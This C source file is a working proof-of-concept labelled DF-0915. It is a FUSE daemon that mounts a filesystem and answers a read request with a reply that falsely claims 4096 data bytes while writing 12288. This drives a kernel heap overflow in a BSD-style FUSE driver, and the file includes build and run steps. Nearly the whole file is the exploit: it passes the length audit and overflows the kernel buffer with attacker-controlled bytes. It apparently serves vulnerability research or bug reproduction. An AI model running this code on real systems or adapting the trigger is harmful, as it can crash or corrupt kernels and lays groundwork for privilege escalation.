/* * DF-0915 — Live FUSE daemon that triggers the real kernel heap overflow. * * The daemon (must be started by root on default GENERIC: /dev/fuse is 0660 * root:operator and caps_priv_check(SYSCAP_NOMOUNT_FUSE) requires uid 0): * * 1. opens /dev/fuse (fuse_device_open attaches the per-fd fuse_mount), * 2. forks; the CHILD calls mount("fuse", "/mnt/fuse", ...) with that fd * (mount() blocks inside the kernel on FUSE_INIT until the PARENT answers), * 3. the PARENT runs the /dev/fuse I/O loop, replying to FUSE_INIT/STATFS/ * LOOKUP/GETATTR/OPEN and — crucially — FUSE_READ with a crafted reply * whose ohd->len CLAIMS 4096 data bytes (== the requested read size, so * fuse_audit_length passes) but whose actual write is 12288 bytes, * driving the consumer memcpy: * * memcpy(bp->b_data, fuse_out_data(fip), fuse_out_data_size(fip)); * // = memcpy(bp->b_data[4096], ..., 12288-16 = 12272) -> 8176 B overflow * * 4. after mount() returns, the CHILD opens /mnt/fuse/pwned and read()s it; * the read goes through bread_kvabio(4096) -> strategy -> fuse_io_thread * -> fuse_io_execute -> FUSE_READ IPC -> the malicious reply above. * * Build: cc -O2 -o fused fused.c * Run: (as root) mkdir -p /mnt/fuse && ./fused */ #include #include #include #include #include #include #include #include #include #include #include #include #include /* ---- FUSE ABI (transcribed from sys/vfs/fuse/fuse_abi.h) ---- */ #define FUSE_KERNEL_VERSION 7 #define FUSE_KERNEL_MINOR_VERSION 28 #define FUSE_ROOT_ID 1 #define FUSE_LOOKUP 1 #define FUSE_FORGET 2 #define FUSE_GETATTR 3 #define FUSE_STATFS 17 #define FUSE_OPEN 14 #define FUSE_READ 15 #define FUSE_INIT 26 struct fuse_in_header { uint32_t len, opcode; uint64_t unique, nodeid; uint32_t uid, gid, pid, padding; }; struct fuse_out_header { uint32_t len; int32_t error; uint64_t unique; }; struct fuse_init_in { uint32_t major, minor, max_readahead, flags; }; struct fuse_init_out { uint32_t major, minor, max_readahead, flags; uint16_t max_background, congestion_threshold; uint32_t max_write, time_gran; uint16_t max_pages, padding; uint32_t unused[8]; }; struct fuse_attr { uint64_t ino, size, blocks, atime, mtime, ctime; uint32_t atimensec, mtimensec, ctimensec, mode, nlink, uid, gid, rdev, blksize, padding; }; struct fuse_entry_out { uint64_t nodeid, generation, entry_valid, attr_valid; uint32_t entry_valid_nsec, attr_valid_nsec; struct fuse_attr attr; }; struct fuse_attr_out { uint64_t attr_valid; uint32_t attr_valid_nsec, dummy; struct fuse_attr attr; }; struct fuse_open_out { uint64_t fh; uint32_t open_flags, padding; }; struct fuse_getattr_in { uint32_t getattr_flags, dummy; uint64_t fh; }; struct fuse_read_in { uint64_t fh, offset; uint32_t size, read_flags; uint64_t lock_owner; uint32_t flags, padding; }; struct fuse_kstatfs { uint64_t blocks, bfree, bavail, files, ffree; uint32_t bsize, namelen, frsize, padding; uint32_t spare[6]; }; struct fuse_statfs_out { struct fuse_kstatfs st; }; struct fuse_mount_info { int flags; int fd; int max_read; const char *subtype; const char *from; }; #define OVERFLOW_TOTAL 12288 /* bytes the daemon actually writes */ #define CLAIMED_OHD_LEN 4112 /* ohd->len the daemon claims (16 + 4096) */ #define READ_REQ_SIZE 4096 /* bp->b_bcount the kernel asks for (FUSE_BLKSIZE) */ static int g_fd = -1; static FILE *g_log; static void dlog(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(g_log, "[daemon %d] ", (int)getpid()); vfprintf(g_log, fmt, ap); va_end(ap); fflush(g_log); } /* read one full FUSE request (header + payload) from /dev/fuse */ static int read_request(int fd, uint8_t *buf, size_t bufsz, struct fuse_in_header *ihd) { ssize_t n = read(fd, buf, bufsz); if (n <= 0) { dlog("read req failed: %s\n", strerror(errno)); return -1; } if ((size_t)n < sizeof(*ihd)) { dlog("short read %zd\n", n); return -1; } memcpy(ihd, buf, sizeof(*ihd)); return 0; } /* write a reply: header + optional payload, with claimed ohd->len possibly * differing from the actual number of bytes written (the DF-0915 trigger). */ static void send_reply(int fd, uint64_t unique, int32_t error, const void *payload, size_t payload_len, uint32_t claimed_ohd_len_override) { size_t actual = sizeof(struct fuse_out_header) + payload_len; uint8_t *out = calloc(1, actual); struct fuse_out_header *ohd = (struct fuse_out_header *)out; ohd->unique = unique; ohd->error = error; ohd->len = claimed_ohd_len_override ? claimed_ohd_len_override : (uint32_t)actual; if (payload && payload_len) memcpy(out + sizeof(*ohd), payload, payload_len); ssize_t w = write(fd, out, actual); dlog("reply unique=%ju opcode-reply error=%d payload=%zu actual_write=%zd " "claimed_ohd->len=%u %s\n", (uintmax_t)unique, error, payload_len, w, ohd->len, (claimed_ohd_len_override && claimed_ohd_len_override != actual) ? "<<<<< DF-0915 TRIGGER (ohd->len LIED, audit sees this, consumer sees actual)" : ""); free(out); } static void make_attr(struct fuse_attr *a, uint64_t ino) { memset(a, 0, sizeof(*a)); a->ino = ino; if (ino == FUSE_ROOT_ID) { a->mode = 0040755; /* S_IFDIR | 0755 (root node is a VDIR) */ a->nlink = 2; a->size = 4096; } else { a->mode = 0100644; /* S_IFREG | 0644 (regular file) */ a->nlink = 1; a->size = 8192; /* must be > 0 so reads proceed */ } a->blksize = 4096; a->blocks = (a->size + 511) / 512; } static void daemon_loop(int fd) { dlog("I/O loop started on fd %d\n", fd); for (;;) { uint8_t req[65536]; struct fuse_in_header ihd; if (read_request(fd, req, sizeof(req), &ihd) < 0) return; dlog("REQ opcode=%u unique=%ju nodeid=%ju len=%u\n", ihd.opcode, (uintmax_t)ihd.unique, (uintmax_t)ihd.nodeid, ihd.len); switch (ihd.opcode) { case FUSE_INIT: { struct fuse_init_out io; memset(&io, 0, sizeof(io)); io.major = FUSE_KERNEL_VERSION; io.minor = FUSE_KERNEL_MINOR_VERSION; io.max_readahead = 4096; io.max_write = 1 << 20; io.max_pages = 256; send_reply(fd, ihd.unique, 0, &io, sizeof(io), 0); break; } case FUSE_STATFS: { struct fuse_statfs_out so; memset(&so, 0, sizeof(so)); so.st.bsize = 4096; so.st.namelen = 255; so.st.frsize = 4096; send_reply(fd, ihd.unique, 0, &so, sizeof(so), 0); break; } case FUSE_LOOKUP: { /* the name follows the header; reply with a regular file entry */ struct fuse_entry_out eo; memset(&eo, 0, sizeof(eo)); eo.nodeid = 2; /* fake inode for /mnt/fuse/pwned */ eo.generation = 1; eo.entry_valid = 3600; eo.attr_valid = 3600; make_attr(&eo.attr, 2); send_reply(fd, ihd.unique, 0, &eo, sizeof(eo), 0); break; } case FUSE_GETATTR: { struct fuse_attr_out ao; memset(&ao, 0, sizeof(ao)); ao.attr_valid = 3600; make_attr(&ao.attr, ihd.nodeid); /* type must match fnp->type */ send_reply(fd, ihd.unique, 0, &ao, sizeof(ao), 0); break; } case FUSE_OPEN: { struct fuse_open_out oo; memset(&oo, 0, sizeof(oo)); oo.fh = 1; send_reply(fd, ihd.unique, 0, &oo, sizeof(oo), 0); break; } case FUSE_READ: { struct fuse_read_in *fri = (struct fuse_read_in *)(req + sizeof(ihd)); dlog(" FUSE_READ fh=%ju offset=%ju size=%u -> replying %d actual bytes " "claiming ohd->len=%u (DF-0915: consumer will memcpy %d B into %u B bp)\n", (uintmax_t)fri->fh, (uintmax_t)fri->offset, fri->size, OVERFLOW_TOTAL, CLAIMED_OHD_LEN, OVERFLOW_TOTAL - (int)sizeof(struct fuse_out_header), fri->size); /* build OVERFLOW_TOTAL bytes: 16B header + (4096 valid) + (8176 overflow) * all attacker-controlled; consumer memcpy copies all OVERFLOW_TOTAL-16. */ uint8_t payload[OVERFLOW_TOTAL - 16]; memset(payload, 0x41, sizeof(payload)); /* 0x41 = 'A' marker */ send_reply(fd, ihd.unique, 0, payload, sizeof(payload), CLAIMED_OHD_LEN); dlog(" >>> malicious READ reply sent; kernel memcpy will overflow bp->b_data " "by %ld bytes. Expect panic/corruption. <<<<\n", (long)(OVERFLOW_TOTAL - 16 - READ_REQ_SIZE)); break; } case FUSE_FORGET: /* no reply expected */ dlog(" FUSE_FORGET (no reply)\n"); break; default: dlog(" unhandled opcode %u -> ENOSYS\n", ihd.opcode); send_reply(fd, ihd.unique, -ENOSYS, NULL, 0, 0); break; } } } static int child_mount_and_trigger(int fd) { struct fuse_mount_info args; memset(&args, 0, sizeof(args)); args.fd = fd; args.from = "/dev/fuse"; args.max_read = 1 << 20; /* mkdir mountpoint just in case */ mkdir("/mnt/fuse", 0755); dlog("child: mount(fuse, /mnt/fuse, fd=%d)\n", fd); if (mount("fuse", "/mnt/fuse", 0, &args) < 0) { dlog("child: mount failed: %s\n", strerror(errno)); return 1; } dlog("child: mount succeeded; opening /mnt/fuse/pwned\n"); /* small delay so daemon loop is ready */ usleep(100000); int ff = open("/mnt/fuse/pwned", O_RDONLY); if (ff < 0) { dlog("child: open /mnt/fuse/pwned failed: %s\n", strerror(errno)); return 1; } dlog("child: opened; issuing read() -> triggers FUSE_READ -> overflow\n"); char rb[4096]; ssize_t r = read(ff, rb, sizeof(rb)); /* THIS triggers the malicious reply */ dlog("child: read returned %zd (errno=%s); if we got here, kernel may already " "be corrupted\n", r, strerror(errno)); close(ff); return 0; } int main(int argc, char **argv) { g_log = fopen("/tmp/df0915_daemon.log", "w"); if (!g_log) g_log = stderr; setvbuf(g_log, NULL, _IOLBF, 0); signal(SIGPIPE, SIG_IGN); g_fd = open("/dev/fuse", O_RDWR); if (g_fd < 0) { dlog("open /dev/fuse failed: %s (need root + operator group)\n", strerror(errno)); return 2; } dlog("opened /dev/fuse fd=%d\n", g_fd); pid_t pid = fork(); if (pid < 0) { dlog("fork failed: %s\n", strerror(errno)); return 3; } if (pid == 0) { /* child: mount + trigger */ int rc = child_mount_and_trigger(g_fd); dlog("child exiting rc=%d\n", rc); _exit(rc); } /* parent: I/O daemon loop */ daemon_loop(g_fd); int st; waitpid(pid, &st, 0); dlog("parent: child status=%d; done\n", st); close(g_fd); fclose(g_log); return 0; }